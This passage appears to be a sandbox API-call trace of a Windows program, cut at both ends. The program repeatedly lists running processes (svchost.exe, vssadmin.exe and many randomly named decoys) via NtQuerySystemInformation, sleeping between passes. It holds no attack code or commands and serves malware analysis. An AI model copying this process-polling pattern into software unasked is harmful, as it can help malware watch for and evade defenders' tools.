DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0076.954] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e38 [0076.954] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0076.954] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0076.955] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0076.955] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e50 [0076.955] RtlFreeAnsiString (AnsiString="fontdrvhost.exe") [0076.955] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0076.955] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0076.955] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0076.955] RtlFreeAnsiString (AnsiString="svchost.exe") [0076.955] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0076.955] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0076.955] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175bc8 [0076.955] RtlFreeAnsiString (AnsiString="dwm.exe") [0076.955] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175bc8) returned 1 [0076.955] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0076.955] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0076.955] RtlFreeAnsiString (AnsiString="svchost.exe") [0076.955] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0076.955] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0076.955] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0076.955] RtlFreeAnsiString (AnsiString="svchost.exe") [0076.955] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0076.955] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0076.955] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0076.955] RtlFreeAnsiString (AnsiString="svchost.exe") [0076.955] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0076.955] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0076.955] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0076.955] RtlFreeAnsiString (AnsiString="svchost.exe") [0076.955] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0076.956] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0076.956] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0076.956] RtlFreeAnsiString (AnsiString="svchost.exe") [0076.956] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0076.956] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0076.956] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0076.956] RtlFreeAnsiString (AnsiString="svchost.exe") [0076.956] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0076.956] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0076.956] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0076.956] RtlFreeAnsiString (AnsiString="svchost.exe") [0076.956] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0076.956] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0076.956] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0076.956] RtlFreeAnsiString (AnsiString="svchost.exe") [0076.956] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0076.956] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0076.956] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0076.956] RtlFreeAnsiString (AnsiString="svchost.exe") [0076.956] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0076.956] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0076.956] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0076.956] RtlFreeAnsiString (AnsiString="spoolsv.exe") [0076.956] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0076.956] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0076.956] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0076.956] RtlFreeAnsiString (AnsiString="svchost.exe") [0076.956] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0076.956] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0076.957] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0076.957] RtlFreeAnsiString (AnsiString="svchost.exe") [0076.957] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0076.957] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0076.957] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0076.957] RtlFreeAnsiString (AnsiString="audiodg.exe") [0076.957] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0076.957] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0076.957] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161dd8 [0076.957] RtlFreeAnsiString (AnsiString="sihost.exe") [0076.957] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0076.957] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0076.957] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0076.957] RtlFreeAnsiString (AnsiString="svchost.exe") [0076.957] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0076.957] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0076.957] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e20 [0076.957] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0076.957] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0076.957] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0076.957] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171510 [0076.957] RtlFreeAnsiString (AnsiString="OfficeClickToRun.exe") [0076.957] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0076.957] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0076.957] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x31688a8 [0076.957] RtlFreeAnsiString (AnsiString="SecurityHealthService.exe") [0076.958] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31688a8) returned 1 [0076.958] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0076.958] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0076.958] RtlFreeAnsiString (AnsiString="explorer.exe") [0076.958] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0076.958] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0076.958] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x3171310 [0076.958] RtlFreeAnsiString (AnsiString="Memory Compression") [0076.958] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0076.958] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0076.958] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171330 [0076.958] RtlFreeAnsiString (AnsiString="ShellExperienceHost.exe") [0076.958] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0076.958] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0076.958] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e50 [0076.958] RtlFreeAnsiString (AnsiString="SearchUI.exe") [0076.958] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0076.958] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0076.958] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x31713f0 [0076.958] RtlFreeAnsiString (AnsiString="RuntimeBroker.exe") [0076.958] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713f0) returned 1 [0076.958] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0076.958] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e20 [0076.958] RtlFreeAnsiString (AnsiString="WmiPrvSE.exe") [0076.958] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0076.958] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0076.958] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e68 [0076.959] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0076.959] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0076.959] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0076.959] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e20 [0076.959] RtlFreeAnsiString (AnsiString="UsoClient.exe") [0076.959] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0076.959] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0076.959] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0076.959] RtlFreeAnsiString (AnsiString="msoia.exe") [0076.959] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0076.959] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0076.959] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0076.959] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0076.959] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0076.959] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0076.959] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171330 [0076.959] RtlFreeAnsiString (AnsiString="DeviceCensus.exe") [0076.959] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0076.959] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 | out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0076.959] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x3171310 [0076.959] RtlFreeAnsiString (AnsiString="UNPCampaignManager.exe") [0076.959] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0076.959] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0076.959] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e50 [0076.959] RtlFreeAnsiString (AnsiString="msoia.exe") [0076.960] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0076.960] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0076.960] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x31688a8 [0076.960] RtlFreeAnsiString (AnsiString="AppHostRegistrationVerifier.exe") [0076.960] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31688a8) returned 1 [0076.960] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0076.960] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e20 [0076.960] RtlFreeAnsiString (AnsiString="screensaver.exe") [0076.960] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0076.960] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0076.960] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171410 [0076.960] RtlFreeAnsiString (AnsiString="empty-suite-xml.exe") [0076.960] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171410) returned 1 [0076.960] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0076.960] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31623e0 [0076.960] RtlFreeAnsiString (AnsiString="religion-decorating-survivors.exe") [0076.960] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31623e0) returned 1 [0076.960] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0076.960] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171310 [0076.960] RtlFreeAnsiString (AnsiString="surveillance.exe") [0076.960] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0076.960] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0076.960] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0076.960] RtlFreeAnsiString (AnsiString="legends.exe") [0076.961] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0076.961] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0076.961] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e38 [0076.961] RtlFreeAnsiString (AnsiString="miniature.exe") [0076.961] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0076.961] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0076.961] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dd8 [0076.961] RtlFreeAnsiString (AnsiString="spies.exe") [0076.961] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0076.961] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0076.961] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171310 [0076.961] RtlFreeAnsiString (AnsiString="dame_looked_pearl.exe") [0076.961] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0076.961] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0076.961] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e38 [0076.961] RtlFreeAnsiString (AnsiString="allied.exe") [0076.961] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0076.961] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0076.961] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175be8 [0076.961] RtlFreeAnsiString (AnsiString="geo.exe") [0076.961] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175be8) returned 1 [0076.961] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0076.961] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171430 [0076.961] RtlFreeAnsiString (AnsiString="roman_disclosure.exe") [0076.961] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171430) returned 1 [0076.961] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0076.962] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171510 [0076.962] RtlFreeAnsiString (AnsiString="scuba elementary.exe") [0076.962] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0076.962] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0076.963] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171330 [0076.963] RtlFreeAnsiString (AnsiString="attacks_according.exe") [0076.963] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0076.963] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0076.963] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e50 [0076.963] RtlFreeAnsiString (AnsiString="dupleased.exe") [0076.963] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0076.963] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0076.963] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x3168948 [0076.963] RtlFreeAnsiString (AnsiString="pubemissiondetermine.exe") [0076.963] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3168948) returned 1 [0076.963] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0076.963] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0076.963] RtlFreeAnsiString (AnsiString="dllhost.exe") [0076.963] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0076.964] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0076.964] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0076.964] RtlFreeAnsiString (AnsiString="conhost.exe") [0076.964] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0076.964] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0076.964] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0076.964] RtlFreeAnsiString (AnsiString="conhost.exe") [0076.964] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0076.964] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0076.964] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0076.964] RtlFreeAnsiString (AnsiString="svchost.exe") [0076.964] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0076.964] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0076.964] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171310 [0076.964] RtlFreeAnsiString (AnsiString="CompatTelRunner.exe") [0076.964] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0076.964] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0076.964] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0076.964] RtlFreeAnsiString (AnsiString="conhost.exe") [0076.964] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0076.964] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0076.964] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dd8 [0076.964] RtlFreeAnsiString (AnsiString="explorer.exe") [0076.964] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0076.964] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0076.964] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e20 [0076.964] RtlFreeAnsiString (AnsiString="explorer.exe") [0076.965] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0076.965] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0076.965] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0076.965] RtlFreeAnsiString (AnsiString="vssadmin.exe") [0076.965] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0076.965] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0076.965] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0076.965] RtlFreeAnsiString (AnsiString="conhost.exe") [0076.965] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0076.965] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3177e48) returned 1 [0076.965] Sleep (dwMilliseconds=0x64) [0078.170] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3177e48 [0078.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.171] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x2048) returned 0x3177e48 [0078.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.171] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x306c) returned 0x3177e48 [0078.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0078.172] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x4090) returned 0x3177e48 [0078.172] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 